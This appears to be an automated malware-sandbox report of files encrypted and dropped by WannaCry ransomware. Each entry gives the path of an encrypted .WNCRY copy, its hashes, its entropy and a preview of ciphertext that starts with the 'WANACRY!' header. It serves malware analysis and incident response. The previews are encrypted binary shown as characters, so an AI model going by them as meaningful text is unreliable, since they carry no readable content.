                                                                                                                                                                              SHA-256:AB72E5310C9D5E5C2F5C0F307C001ED2A1B78EBF9BFA02AF4ABF70317E388922
                                                                                                                                                                              SHA-512:D31BE74D99726C5C1AFD3B8869D3505C8F4A4184930FA0F8F2F8879118D0302A6A0B81540EECC1B65DDEB8C57BEBBCDF0E6DCDA403D004EBCD4CBFDE952356B7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....A...zy>....U...D..)..5rC.!.b.-r.]>.R.. D.()=M.7..e... Y<.2.I..Ob..'.~C?..d....g.EQ.2GGu.@.?ZE.F9.P......d.x.cd.x.4..;4Fr<m.(1..>.......e..d5...C...M\...vu\.....u.'a.*vR...c.."...=..A...8..7~...\.n..`./I.E......HV.|a"...X..K....i7.G.g..'.,F.e.B...............r..O]..M.^Ba....] .R...`..Q."{ .K_M...F=A.../..%..I.GU.A"O....Uy.#$..2Np:...t)r.._...Pp..j.K...?w........|_>..'].5Ls... p..F. .%f.....x9)..\..>`...32..R6...<.V.h....M..=..16cfn...A......!...../2l..{..5.'......Z..CY..._b.Z..,8..X..wP.O-..s.-Xp.../.k:v..l.a]E.DQF.k.[...^fu......%..1..D.f..qi.]....hB......EDg.2....+..\w....r..........!.k}...K..P....V&.f...;y.............CFUH....CB..,..n.+. *t.%"....m.Rs.(o,_........3<.2.\.Dt7;..5..T.D\$;b......|^.!f.>z:.l.wR6........d.j.I.3Q..8.iE..87...B.x.P.{...f......t....f.=....Y..i....o...b`...............G_j/"<N...c....u.@..m.n.9?#.$!%.9...a.x.......K..?..`E=..L+...{+].~j....Q.(.:.F.C........rX.f\z.2..b..*..?*.Y.`@...yF..J*qPiF $V

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{A5457EB8-A2EC-4B00-8476-18B7C878AC51}mt11414620.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):8840
                                                                                                                                                                              Entropy (8bit):7.982398353674468
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:13Pup2levKXdU+DKyj8WS5RyiKYZeNrIJYcUI:IAleSX3D98VUiKY8NS
                                                                                                                                                                              MD5:C1C7413C36577E01E215FFF18ADC276C
                                                                                                                                                                              SHA1:37F51D52B497FABCCC9A8ACF8F45ECDFB9BDBB6E
                                                                                                                                                                              SHA-256:FD6380613F7596E9FB2E215D64AF2BD98BFA7B881B0C164EE9BBC13FA0335578
                                                                                                                                                                              SHA-512:2368218712B293A2C1A9085EC98C275667C31E5222E557BB7E472C9C0FFED7A9062F64B16F5EC8393F59705F43DC12A6DA6F320CD7C80A8D961703310BB81A87
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....`.p........%......+7..T.l.].....V....."..@5..?.go..w......S.<.m`H....s<....D..h...=..#D.^.....~>....-.+..$Nz){`.W9....@......o....o.qlOv....e~.......m...`.... 3,..J8..8.a`:h.:4i9h5Y.y..\..^.d..2....% ...G..s{.W.M..&..t......gi.3X.#S....i!......@v..(av|..*.....y_.x.!Xi..g....V.......3.`.,..z7..L.........w.7..u...n..h.@.@.a..a .g.f...x*.]..+~........B..H[...n.). M&..d......&S...t.o...y.....u'.*.v..m...1.......8&g........A<.d.Y....Of.z........e^........%|....=.4:..`NAX..O..D=..izAQ.[../..0t.s....~....v.&.-.XC.=..k5.yQ.N`.4n(.D..R[.w5.D..q..Sr...[4..a...y.d....j.a.n@....t...I@...R.K.G..j[....Z..M0(.E..l.|4W............@..i!...T.#;.....@....E.5......yO...P..!..r..TyRX$....a.......z......X..r,..A.Gx.X.F.F>.K....9.%.h..yB...|...q:}.K....K.+M9B..`.....+$(y......C..?q8...v.n..#..i.Ie.,.|..5...d.............VS.... .Dq..U....9.H..FK9=&..8...e....#I.7s...j.J.)..`....^}.v.D7.e..E=..l...;=........u.......N....../\|...t..w..D.2p.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{C0938256-70FA-4461-B929-0017BA34D5B2}mt67739505.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):9032
                                                                                                                                                                              Entropy (8bit):7.979108947408589
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:YlDswjg5yI86J5RXguI23SJgW5qVGkjTJFCcb33K1:SnjgwaPhmVhroLCA61
                                                                                                                                                                              MD5:55388621C5C258911ABA19B7E46D9040
                                                                                                                                                                              SHA1:855A2025345B9E1626A438108426D40EAD97284B
                                                                                                                                                                              SHA-256:EB715DF6698275CE2038ECC7DF8FF3700E23CEA1ACC4A95343E5CC80DA378626
                                                                                                                                                                              SHA-512:384E89A62529AAF0C2FB79351BFC67C694C7A9A6BDF71E1B89ACC00DD1D391D37ECA54C469302B7E0C2CCFE4FB243F7005C0FC001011E17AB9CA054B2F4760C8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....[..T.Z....}..G....Y..Gd....j..)@..YbL....o....'.{}w.oF.Y..o..G7Nj6.......|..|.D.-$......v.......1m..%.L=gC...&8.<I...t.V..y="=....u.lM.9...T.$.lGd.....FgR>q..(U.....Y.~......).....b..2...L.V.Z!.)...s.?..R...:.w.../.g...%yN......].........*".......y.f.1.3.t_.>...H7..rz.F..`.Ym....m.h..D5..G.<.....d.Q.#...'...i.OY./.y..h_..O.M.`.xo."..h.&]Mf....1.N.6..]b.g(....1a.E..*.M..~...#5.[.8.Y&...45..=h......@|..;V.wI&..X......K...2:.-n...).../:F.e.`6..0...k.E.....A.}..M.....A...'.so...1......\<.P..Q.T.....%Z...(..&....A5.>x.`...i..Zf...J..;0.h5.@.......E......P.!O....804....h%...{o.H.LJ.....EE2Zw.W...|...-./.K.........RS.....nz..1b...'...Fh..Q$P..BY.9.K..eZX.'sZy.\gpN...A....(FR.s....!..C9.~)..*D..2......j.j.w....O[....v1.u8....9..7.P....'~cM.R..&.B.......b..1.T.....V.\%=.D..G#v.~\. }.+.{(k..k&h'.+..D. h.O.....Z...u.[..e.[.W...9.....r..!..>..........@.i...|.l.LQ.8k..X....R."...~)...<;.......d6.:....I<..e..0Ft. .....-"Z..C.2^

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{F34ABF88-5BB8-4FAA-874D-A832315461CD}mt16400656.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7032
                                                                                                                                                                              Entropy (8bit):7.973235650070179
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:wyGCPhbTfKx7LyO7PJNvtFv+30JabwzRmRs723+qFHSxTCk:wxCPFfKxXyOlHFv3Gw0m72uqFyxuk
                                                                                                                                                                              MD5:902FDE8C9412918F19BC4DDB055FBCE7
                                                                                                                                                                              SHA1:07B6DF492A8E8E28230E98E4BA022B165B2F224B
                                                                                                                                                                              SHA-256:D58C9C3EA7AACAED7A1A6B8B801A01089015ACE0D651824B3E1872698835BE40
                                                                                                                                                                              SHA-512:89F70E1960C3C0F4474D982FD5CB658CC835CB6C395929E672B9CC60BE9377995532BF07E2649528ACE0F6A062EF93E178F42A86DF8AB07589FBE67AA171963C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......y...u.....=...,.#...x...j..H....w..2.....L.Y .e....Z........0.6?h...^.OT.lw.]|......q...=..+.:...D....D4X:...S.x~.s.7......\.Q..xt..&.....,`.h=..x.M3.{[...U......D..."...Q....*..%....wn.[..+.Y$.T.NN.=...<I..U.*.<e.....-I..i.Q...i.:.~n.d..my.U....T........g.'.>C;..B.p.....@...2...5Q.....U...?h>Y.+.$/C4..b..@.i..-.`-.k.tsC{5...J.v.....G....7..........7.^\...X@,.....AM.G......4....5..q..m..u....I-a.B....jl...yb.q....c.....T...3..o..1......0X.%_.'%e.....F3.....\Q7.}0O.:........p...T..W@...S........_..F.{...n.HG..J.C.........a.....P..>..J.....&r.......S.....%a.......y.R_)zx..KY...@.j..D...af..8M...{._.P(.,.....n._.~.v.wvu..j.p.%..............6.1k0{.R....d.......{.#.....[.qo...S.+.[H..[........&.b.I..6.f..x9#.y..>.l.0..}.t..]....W..j....mi{q.A..h.4+..........RB.-..t...*..L.P...+.}..........b.Ld.W....#;VS+.y...F..$%.W.Zl...K.G7...Z...h.L...?....7w.t..P..^`..........9....X..l...(.....DQ.a.....wNz.g.c.A.J.5......}.qa.cw.^.?....6m

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_BxKM4IRLudkIao5qoVhSFA2[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):38056
                                                                                                                                                                              Entropy (8bit):7.9955280044243935
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:6BeB/dqHNRmNGTrZ1C8cAu6Cr0xaBJR0M8jElXtuT2N71:Z9d0rwZHBDmElXtQ2Z1
                                                                                                                                                                              MD5:2C455B5CB5F491462A03B9DD5DE7AFF1
                                                                                                                                                                              SHA1:59F34EECF58A3A4AB3BF5DD275F2B44B3A80C831
                                                                                                                                                                              SHA-256:2D60D19B6D77212E4A40F4D378C54B89C350F2D50493FA16A0D5A3B4F3748E22
                                                                                                                                                                              SHA-512:3905FDD5F4FA2C219C530CA43113D29EF4EFD9829B3AE5BBECC8745CA50ABD63022750E0D585088F27213CB96638700ADF5ACC5164CB9440583EABDC6279DF90
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....K...yt..../......z..."|..._c.;.ASK...-.f..*.A......e..lV. .\{...TC.A..2+J.....&.9..].@...t...xr....l..@O...."A.. .....x.....!1...O:.........f...(........?.z....gm...,...^.Z..2.y...a......I.w2OO...r`....h.C.gZl.x...._.|.9.0#.j.{.!./../U.9W.E66|................)6.d3..|w..Z..C.$...Y..a-.u..!}B...f..Z.U..|.b.Q...;...$.p..o.r_.. L..m...'.;...[.XGm.:..'.uO.+`.-..mwf.=./T.JZ......G.z.....W&.I.NK..c.w,.w...)..SpJ..p.3..J.......,rI_.h..2....evZ..,.FM.<..../..,h...Wd.i...){..U.....%...k......-.}.T..|.M.'..M...`....T...W=........:...I,..d......!.,...;..@....-.{..a M`...RG.n.qq...Do:Y$.....G..>..=.^....0..`..O..#...v.&..q..S..9..6.....'.=....}..._I....].A...C.A..._..A...c`.i.......A!.4...m....t=.....JD.:..63P..o..J|L.P.....IZ...m$~.z.<~`.VV...8..|...\.J....\...Y.....p....]J...[.\...k....~.v....c.CLRDW......O...u...4...$.v...3.l.6.+\....WU..w[..u%.'.....iX2.C.d..n!|...K.&..(...t1UR[...{fQ....\iE.... .jq![..rc.;..3&D.....tx.6..<r.....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):36888
                                                                                                                                                                              Entropy (8bit):7.995099020565375
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:ELjRHHEcWFKO3IfJFUvBupAluwl/YqNoXNaYI6qgwq7c4TNG7j35:EubKOYT4LHgNVqcTg775
                                                                                                                                                                              MD5:713D2A88A1CB5EDDBF02A8AB654BA618
                                                                                                                                                                              SHA1:E39A98DEB733077A2072CF2565F4DC3F8925295E
                                                                                                                                                                              SHA-256:A97F3FAB2C9E8E6D09A39D3E0644C1D51BC78E3BF94699000B68451BF4B77896
                                                                                                                                                                              SHA-512:D7A4D911397F8313CBBA959E4B639E4627B6400210865A87748582A1C241B1ED7F3026FEC0ABA1D64C29682E48092F78A9F3770275D81A6EE4D3CE897892C0BE
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...... .-}5.5...OT%<i.oU..c:|0.. ec.[...=c.o6...@?Y].R}...z2.....A.U../..JY0K...q.I.3.Ib..|...n..[_.....A.I....h.............d.Z..tk7...D.?+u..LM.&..$.`.#.....Dd..Z.v..o.S..%.."...y...Y..5|.9...._..5.C..J.$1MPX.r."hPF.)r..\....|.>hx.../.4...tz.]...}..............1vZ......ED...uG6.>..r..K.....p.....x....PD=.....s.r.9v..I../...5...z..^f. ......0......A&.tr....!...~.`#.!%..8...[.8Xk.u.E....8...H.q..8Y6#C..X.L4F......I..]..F.7....m.3......<....?b.q...UB>.>g#.|W........^m~...6..q.|..qv`7xw.....#v......B.3.R.#...MMo..j...c...........@C..0.>...@P..S.G.F....=...(..L..>.k...us8...&.&..oEp..r...e.Dx.."....f..H..2M>........KJ...dl.\#..{C...~#..9.-.]......F$. .G..{......\.......>..M..l.......J..f..Q......k.|o..ZF......d&..R.]....d..j.?/.^a.q.=i...0.7....4.6h..i.@9/..4..t@....w...f...}.~v.....1...x.T.A.}..C~.C.)2.9.r.Q'........}.....1...wq.p.9.{.6.%.5.*..V\.@....Q.5V...zl.....&.W[.....^...........(j..Fp\...Q.6,:.=....q...)....... .x....U.\........g

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\ew-preload-inline-2523c8c1505f1172be19[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):11880
                                                                                                                                                                              Entropy (8bit):7.985819062166669
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:RjeW0QqwDFbcwAwdqFgPbYgA3/WzLvFL2VitaUIwOv3EArLzaVyi+6GI:RjfFAjwdqcA3/WnvB89pv3BfeVi6GI
                                                                                                                                                                              MD5:9C2453BEB5840BBBA9C479E7903682ED
                                                                                                                                                                              SHA1:D7B85BC43566D0C63CB8FEF45066A883E00CF2ED
                                                                                                                                                                              SHA-256:9C8E9FDE5F6495F9EB3BB25BA4A00FDE290C0138128E8B3A72CDCE41363E75D8
                                                                                                                                                                              SHA-512:3BB3E8D8685550E20AD9BBE0D7FA486AACFD32374A091B5AB97304CE71C2AFF3746CE7E5317613F61C1A96CFA51F4523BF71B84F02CE4FA697C2B7CFF340FCDF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Xq..?0....g...J...+I."....m.jx.G.@^x5.....R..pX..T..4..k....E..ld..!..d\o....._C.c.L#......j.Fjn.5..P...Pj...z.s...;..F..k%#...1...!...H{.!s.<.#.M...=..Cz.....1.............Q..}......_=E....d...Hi.d...:G....t .G..9^j..iG..P.{S?.C..d_.....|+.....O-...........x<x%0;..gw.%`.....A*...7d%.....|.B...T6.t....U86........{..=>I...G.g0..4f.......HJ.o.9AZ.7.......s.h.......$....~o..QoU$..C..3..ME.-j.3|..>2~._.&.S. ...[..d....lO.R.}..$..05Fx.+.C....'...........M....y...\....Hi.xe.'...c.O.N9^*.....!...D...;.o.Xo.)c...f......N.b..E:'......,#>....J...#.N&bCX.p..qh......3|"..iV.J..K..d.......N.S..."...zZ8.....9=.{..u..v........._....1.....`.b[Cv...,.>.Z..{...|.......{..e..J]bz....Z....D.>...b....C. ..*.O..J.....$..).xE'Os<..Ns30..0t4j&..k....t.y......8r;..."L"...N..T..)......<..h.........S....I!......k..o..G. ..;....`T..1..........^.!.....M.....O.'....'...X...p....Q..L._.g.7...&....X...H".Q.........?q.w....{.."U.H..p.$...}....2Q..`..*....m.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\microsoft-365-logo-01d5ecd01a[1].png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):20568
                                                                                                                                                                              Entropy (8bit):7.990661499254949
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:uQHIE5MJKjKrzvud80Dp16BbrQD8N4heDV3YPeIDdwwwrHk0BCIUDYolS+Vq+Fsh:9Kfe8E16JrQD86heDePXywWfUoSvw+yh
                                                                                                                                                                              MD5:45435BF7C9F8A734F15FCE70BA829C58
                                                                                                                                                                              SHA1:60FEFA734E5DE3D173C40F105C152E60C7997580
                                                                                                                                                                              SHA-256:D014F1CE34898A1E80EBFD51A4E14D4476B1AACD4F33C00DEDCEF7CE5C281E26
                                                                                                                                                                              SHA-512:E97810A2A443FC8EE6540271A2E32ACAB3F70E49CA5FEE50FA9FEC683F1CCD0DA7543632B6CBAE0B2FD7D1C080D1234C48E4B81130659F0B5E57A745F24D7618
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....%.`.8.+.}Jt.....X.../....wj#...3'dd...1.jR......|{i...R...Z.....|z.v.T..I..~..`........]nM..+....t..t....due...b...H...~.SE......Z..@..iC;....QJ....A".S....iA#.>.oK.....8e..#5W7......3.NFV*j.9..}..Q<.|.d..7&.....Mt.:.mc[.{..b....Q.u5.t|rqnu.&....4O.......!L{...b.....o.a.9...G(\..kPl:.ZtQ...,..D....c^.T..5..V<..;.....x....[>n..O.j\l..3....@.5.U....q..R.H..H..."Uj00+.1..7.`...:.G......_;l.m..}..R...K.F...W..O..7N.\..v...^..Gvy.......,.L..0...EcA..O|G......4.s....,`.A..!..2..u.c.l.".........%6I(..l<...:..8k<.f..hV..c..s....4."`uf....n..s../.....<b...2.C..tw$...w...P_.b.f.`?.@y..uD."g=.2..QqU8...tQ....;.A...%...l.8.=.`.....$j.l....PX.9.a.5..k...M.y..t_f.d..j|3:.....BKx.E...TQ.`...^z....IZL@2....I6.u......O>..Q..s........w.{...)....76.p.45......N......]...E?xL....U.!k..\*.%Pq.........._..9.5.w.....R.vd...6.E.Q..};_..Tw].0~.+....~.:.....kv.=.....gI'....o.>J%4...'.i.a&!...(.Sqx.~ .Q};..3X..^....|..q .....D.....%..wg..B;.Z.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\unauth-apps-image-46596a6856[1].png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7304
                                                                                                                                                                              Entropy (8bit):7.972785917929904
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:bTNpiO0MltiGAwnPQ3tm/pHxaMNCHmRT6Y6hSWNSuMCO3IPh1:bTNp0oiQnPppHUHmRGJS0DB71
                                                                                                                                                                              MD5:D06FCD7913DE92F49257C3DF05B1B58C
                                                                                                                                                                              SHA1:609E312EAC0DA7482BEBD7B88BAC1A515C2453A5
                                                                                                                                                                              SHA-256:72E14197416C3079EA5A28DC529F16EF706B14AB7B65E3DB580F595073A038F3
                                                                                                                                                                              SHA-512:F3BA3479FCD5838789703A454D5C3EDF3D614477E49F2F49DACCD150428EA3E088BD6B6C4B6C195242E5552B80F160C4DBC202B4F5A81BA0675DA3D1D358405D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......c..Rn.?9...e.r.$.B...:..'....8.....a..(.@ .{.RE..."e@.IC...(.......p.k..6.....rS,.-0.N.)..;...>..N>%.g...b2..Jk@...6.^*.WS..u./V..,,.>.....}..aT./.$z.z....Ed......E.^W.S..b....7b.....^.........$q..F.CC._#...~...r.kY..G...v`....u.$.2.......o........6z....U..O.e/.%m.VY.f.....Q..B........%............mz..u,.[.;k.1.=..e..a8}....r..3.....#...=..f...E....>.X..v.@m#$"..V.%..S...]..M$G>&.e.S..T...n_...C.^.~....T.wH|......;N7..#.m;..L.$..4q..a...-...V...X.2........._?....................V..D#....<.q.......T1.).7b..o.E7..X.9.....7j..Q.2e*?.{-..._..h...^.d.d.#T..zt..v.*0.iO...|...$.e..B.&..q.;.d..ek.......u.M.......X..}..Y...DLgn.c.CUh.I.H:...}....,v4%.$.........CAV.y.K<9toF.g..w{\..<..u..d.....(....4....b..../....._.o.l.y..w7].K...^e....e.....~AP.721..}]....U.U..^..p..H=.8...%.'.9..6........g............)z+....@..j.P(.I....h...._..s..W........U.cp...9.....k0.z.f......?&.._.G..,..=..k<..*U.Z..F.....+....]\..{......afA...5..h....}.2..y

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-bootstrap-5e7af218e953d095fabf[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):80360
                                                                                                                                                                              Entropy (8bit):7.997829861431614
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:DkPmnLXjEV5on9IaWfiu/SdCFCLTSXosMslGby7sn4wu0k93kDGYdzrt53gNjFYc:2YLXjag9IaWfd/S0FKTSNlGby7s42k99
                                                                                                                                                                              MD5:C7F6D2E11165A5B6E04AE6A731932A3B
                                                                                                                                                                              SHA1:962B378A80D6CC642FA98C79A4C046352860CC21
                                                                                                                                                                              SHA-256:DA730471BFAE741343F795D5CCE2F820BE28D8CF61C65C8C35C9B2B0CAFBED2D
                                                                                                                                                                              SHA-512:9FF262690014E69701AFDB333CF1EF7CA765604332383459FB950C11675E0CFD287B2ADA63E24EDC38D06A593017ECE791CD4A967E68A95F23035CD65BE05AF1
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Q0..T..I...20._....l...t]hh.HL.J^..,..G.,..`.S.q...P.u....Kh.J........N..=.7......E. .......JI...\.=5%_...A....y[..$...[u&c..N..O....1...?B.6.2.........|.Y.8..I&.]......YCB.GbR3qi.M....__..q...%..d.2m..).2O...z.....o..,Y..B.....x...;.~k..2.......8......6.`.......:d..e.M............6`..Q.T...s......L.G.1..b...*8.6.*..R....s2y...9..A.:@.%..No.e&K......m.t...tl5j..9...`.%}.T..v.......{2R...IB.0......> ?...\...Jgu..9$..F.j.t.......d......^..q..!.L..E..kM...k._A%^T?..4.u....d.~3.>..P.........o.=...5d...!..F4s..N.o......+C.....k.*...J.!.C"..[.7.....IcF@..QB../..W"..j..yV.(d..Uc..:..i.2.....V7.O....*Fr..$.&.........9...~...B..X..O.I....ko(...p.Ky.0.)..$.....Q..T..}........<.#=...I^uS..Gx..s.`.......{%j... o7....RU.x..'.?.k.?q..*.........L.`?....Xr.4.Ce..u..^.<....r7|...(..e.iL......@.$..{z.....e............1.m........=..@...x.z6?9.0.z....{.............Eu...A....K....by....0:....D....bXX.T..8...B.~.-VNRB<I).w>.d..Zv"..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-mru.2ce72562ad7c0ae7059c.chunk.v7[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):43880
                                                                                                                                                                              Entropy (8bit):7.995046035077313
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:TyW8kS1XlLUjNnAAMv0MaGDn5ID8Qf/nyXLrfc2klbCGUqdiMbZrkiFK4N9jJF:TyW8kSNGjNnA/na8ufifcNbpiSqiY4NJ
                                                                                                                                                                              MD5:9AD715C30DA336FB81630D85E8C25C67
                                                                                                                                                                              SHA1:D69EDDF2EA09F8515377F04493252729A7C6C041
                                                                                                                                                                              SHA-256:8E936CB7CCF6D4651A0A9949E2A08377F7E00118294A4690632513D961F2DD25
                                                                                                                                                                              SHA-512:8EE6526FA4A393DE198BEBF571B09886D2822BE83412F4A5C233D3E2FA9B38BCC3CAE4A7D40F1F3B67675FF7E19A3995B7447C6D68A10A1B58A0BD1B28541396
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....k..3.............I..n.. n}%r...:.LR.Y..i..E.[d.:..2...7..mXM.../...q...$.A....2n.e...W.5K .T1.6b......|.O... OS.B...5.R..p..... !..Z..Zkeg.ZGq..<m..2...a...*...=,F.d.7..#.:..4.7..C.b).V. ..'..X4\Z( ....=y......W..n.H7....]U&.2.....nc..:............H...........7...........}!.O....F.U....t....=.).an,..R...v...5Ysq...'..u.U..c.`...g`..W.c...S.8LD...k.V...]@.$.:y.S.1(.N.6........./,.C0S6..>\%.;.M..<..F..+2...L..(......y.A9...V.rO`.k..-..JCuw....S.0..T.D. ....".N....A....D4..B.....K...<e.........)..)9t.^+b_~'F...ib./M ....CnM..B..L0M...48^.O*.533..."mY!.h. ...QA...k.^...R.GG.....mg....*|8..eu.,..#..g...q.7..........c:oVsd..Ju.].M:.....A...Ad.N.uf:.....hm.H..v.,..V...M..".Axj<.(y"...F.H.c65..j,..k......_...;$cFbkN....jG"4.@.S......+..=..1......G9.........,.^3...R..Y.6e.....A.5...K....28.d..m..4,......)..X..Jf......jZzx.=....3.....e.u.Gvq..AO.2,.G<.5.HH.0...y.._...]V.B.......e....&....X..x...a...y\9a.K.=.Ut..)2L...Y].[......

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\unauth-checkmark-image-1999f0bf81[1].png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):584
                                                                                                                                                                              Entropy (8bit):7.611649357885736
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEFnbiytQdgenyZimdsRDthjfW1000QZqM:bkUnbenyZUxhzBXQZR
                                                                                                                                                                              MD5:A32C10D3662650BDFF7ECCFA03153ACB
                                                                                                                                                                              SHA1:235C7D6B4B8B306C993C8B75A2E9124D0ED5DD46
                                                                                                                                                                              SHA-256:0C54C00B044897844E9E96D26B954072250B0F8D652752C627849DE9CABA0C40
                                                                                                                                                                              SHA-512:4F3A8DFB141A208DDED1214CC5DDD8C2CDAE830773D54BE42BC107433EE17CE95FF53CBA98F4C69D794ABCD0944D2A7BB50016E15104F6F236A66FC43696405C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....q...^.D.Os..<.>C...Y..UR..U....k....n..k...'..7.....e..R..Qj...d. q.Y.<...?>...g.U1...^/.P...[W/y/c.1.....r..G...z..(...i..i...q).....z .......X.3.UV.|.dF..x..d%.....]..LNgK..:.2.-.C.....g|Z.Q.J....8.+._...+...%)._U.....w....=w.H.CK..=fEosA....#.......r^...{.L.su.)Rb.j.V.N...(-v.7...:"r{...ku[r..y....O.~f.............h9.{......2x.Gm...hg.S.A.p....=...j......G.3.VJ...{W........H...^.0q.v..ALQ...Kl...bA4u->..e......;p.3.Gj..f_~L..Q..2.=......A.<S.R...KKr..A.,z......,:...ee..Y.`.?..7..yq....(Y...bq>.j_X....%..'....\7T.J.t^..iv.p/.X4.

